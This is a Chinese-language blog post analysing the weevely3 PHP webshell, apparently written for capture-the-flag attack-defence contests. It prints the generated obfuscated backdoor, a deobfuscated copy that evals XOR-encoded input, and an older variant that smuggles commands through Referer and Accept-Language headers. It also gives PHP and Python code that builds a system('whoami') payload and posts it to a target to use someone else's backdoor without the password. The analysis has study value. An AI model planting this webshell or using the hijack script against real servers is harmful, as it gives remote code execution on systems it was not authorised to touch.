weevely3 后门分析

水文预警

补了很久之前的一个坑,写的很水(大佬不用浪费时间看这篇了
原来还是在某年的 xman 题目中见到的 weevely 后门,苦于不懂在不知道密码的情况下如何利用,一直鸽着,后来有人问这个问题,才简单分析了下。

来源

  1. https://github.com/epinna/weevely3
  2. kali2019

生成的源码

在生成的后门最后一句下断或者直接输出,可以看到由 create_function 注册的匿名后门函数。

<?php
$Y='{$o.=$Pt{$i}^$k{PP$j}P;}}retPurn $o;}Pif(@preg_maPtch("/$khP(.+)$kPf/P",@file_gPePtP_contents(PP"php:/';
$j=str_replace('J','','JJcreate_JfJunJctJion');
$u='contentPs();@ob_enPd_Pclean();PP$r=P@base6P4_encode(@Px(@gPzcompress($Po),$k));Pprint("P$p$kh$Pr$kf");}';
$x='/input"P),$m)==1){@Pob_Pstart();P@ePval(@gzuPncompPresPs(@x(@bPPase64_Pdecode($Pm[1]),P$Pk)));P$o=@ob_get_';
$Z=',$k){$c=Pstrlen($Pk)P;$l=strlPen($t);P$o=P"";forP($Pi=0;$Pi<$l;){for($jP=P0;($j<$cP&&$i<$l);$jP+PP+,$i++)';
$C='$k="7Pccf819P2";$PkPh="528P2714P13977";$kf="f5415P27062PPa9";$p="ieP3xNVP9ea8twe7wPl";fuPnPction x($Pt';
$U=str_replace('P','',$C.$Z.$Y.$x.$u);
$E=$j('',$U);
$E();
?>

整理后

<?php
$k = "7ccf8192";
$kh = "528271413977";
$kf = "f541527062a9";
$p = "ie3xNV9ea8twe7wl";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
if (@preg_match("/{$kh}(.+){$kf}/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print "{$p}{$kh}{$r}{$kf}";
}

这一版(2019.6)的后门相比于两年前的那一版变化有点大,相对来说分析起来简单了很多,但是爆破密码需要爆破完整的 MD5,可以在文末看一下原来的版本。

功能

先观察核心功能,一定是这句 @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));,对输入进行操作后 eval 执行。

首先 $mpreg_match 匹配得到,然后解码,x 操作,解压,最后执行。

嵌套在外面的是一个少见的 rce 方式,ob_start,这里不再多讲,之后将执行结果放在 $o 中,经过处理后返回。

整个逻辑很简单,只有一个函数需要分析。

<?php
$k = "7ccf8192";
$kh = "528271413977";
$kf = "f541527062a9";
$p = "ie3xNV9ea8twe7wl";
function x($t, $k="7ccf8192")
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
print_r(x(x('str2encrypt')));

可以发现输出为str2encrypt,显然是一个异或加密,而且密码也给了出来。那后门的密码在哪呢?前三个变量看起来似乎像是 md5,经过对比确实是我们后门密码的 md5 值。

将其中两行改为如下形式,以查看 ifconfig 为例,我们看一下输出结果。

$str=@gzuncompress(@x(@base64_decode($m[1]), $k));
@eval($str);

$m 是一个数组,如下:

0:"528271413977T/8oqHD4FeBntJSvdBtzHp23bCl1O3cfHShOtE/4dhz6Lq5NEWfuhkErTkzyHrMdfU6rSRL49XngU2PsLWYvpZOFCc5flxzV0MYGwBMp4JsuYXZlONvQLu8f541527062a9"
1:"T/8oqHD4FeBntJSvdBtzHp23bCl1O3cfHShOtE/4dhz6Lq5NEWfuhkErTkzyHrMdfU6rSRL49XngU2PsLWYvpZOFCc5flxzV0MYGwBMp4JsuYXZlONvQLu8"

$str"chdir('/var/www/html');@error_reporting(0);@system('ifconfig 2>&1');"$o 便是输出结果,$r 是处理后的结果。

从上面来看,@gzuncompress(@x(@base64_decode($m[1]), $k)) 返回了 php 语句,那我们如果要在不知道密码的情况下利用这个后门,除了反查 md5,就是构造请求了。

很显然,构造如下请求即可:

<?php
$k = "7ccf8192";
$kh = "528271413977";
$kf = "f541527062a9";
function x($t, $k="7ccf8192")
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
            $o .= $t[$i] ^ $k[$j];
        }
    }
    return $o;
}
$req="@system('whoami');";
$r_en=base64_encode(x(gzcompress($req),$k));
$ret=$kh.$r_en.$kf;


python

import requests

burp0_url = "http://url/target.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data="528271413977T/8QTpYdF3v6tjNJ9/l2/vo3tNI+MQboMSY=f541527062a9"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

发现需要删去几个请求头发可以获得正常请求,暂不知为何。
不过解密仍然需要 php 来处理。

TODO python script with php or python implement
不过线下赛应该够用了。

之前的版本

这个版本大概是 2017 年的时候使用的,具体什么时间更新到上文的方式就不太清楚了。

<?php
$kh = "a8bb";
$kf = "c44a";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o.= $t {$i} ^ $k {$j};
        }
    }
    return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {@session_start();
        $s = &$_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0].$m[1][1];
        $h = $sl($ss(md5($i.$kh), 0, 3));
        $f = $sl($ss(md5($i.$kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i].= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");@session_destroy();
            }
        }
    }
}
?>

只使用了八位 md5,可以爆破 md5 来利用,但需要相应版本的 weevely。
具体分析可参考:
http://www.yqxiaojunjie.com/index.php/archives/256/

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus